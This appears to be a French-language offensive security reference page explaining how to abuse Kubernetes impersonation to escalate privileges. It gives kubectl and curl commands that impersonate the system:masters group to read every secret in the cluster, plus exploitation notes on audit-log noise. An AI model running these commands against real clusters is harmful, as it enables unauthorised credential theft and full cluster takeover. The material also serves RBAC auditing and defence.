Kubernetes permet d'agir pour le compte d'une autre identité : une requête portant les en-têtes Impersonate-User, Impersonate-Group ou Impersonate-Uid est évaluée comme cette identité, à condition que l'appelant détienne le verbe impersonate sur la ressource correspondante. C'est prévu pour les contrôleurs et l'outillage d'administration, mais entre les mains d'un attaquant c'est une escalade propre : usurper l'identité d'un administrateur de cluster connu, ou usurper l'appartenance au groupe system:masters, qui est câblé en dur sur l'accès total.
Vérifiez la permission :
kubectl auth can-i impersonate users
kubectl auth can-i impersonate groups
Voies#
# impersonate the system:masters group (bound to cluster-admin by default)
kubectl get secrets --all-namespaces --as=anything --as-group=system:masters
# impersonate a specific admin user
kubectl --as=admin@cluster get clusterrolebindings
# raw API: set the impersonation headers
curl -sk -H "Authorization: Bearer $T" \
-H 'Impersonate-User: nobody' -H 'Impersonate-Group: system:masters' \
$APISERVER/api/v1/secrets
Usurper le groupe system:masters est la forme la plus puissante : ce groupe contourne entièrement le RBAC grâce au binding cluster-admin intégré, de sorte que toute requête faite en l'usurpant réussit.
Notes d'exploitation#
impersonatesur lesgroupsest plus puissant que sur lesusers, car usurpersystem:mastersaccorde l'accès total quel que soit l'utilisateur auquel vous l'associez.- L'usurpation laisse l'identité propre de l'appelant dans le journal d'audit à côté de celle usurpée, elle est donc plus bruyante qu'un binding ; elle ne nécessite cependant aucune modification d'objet, ce qui peut être un avantage.
- Le verbe est restreint :
impersonatepeut être limité à des noms d'utilisateur ou groupes spécifiques viaresourceNames; vérifiez quelles valeurs sont autorisées si une usurpation large est refusée.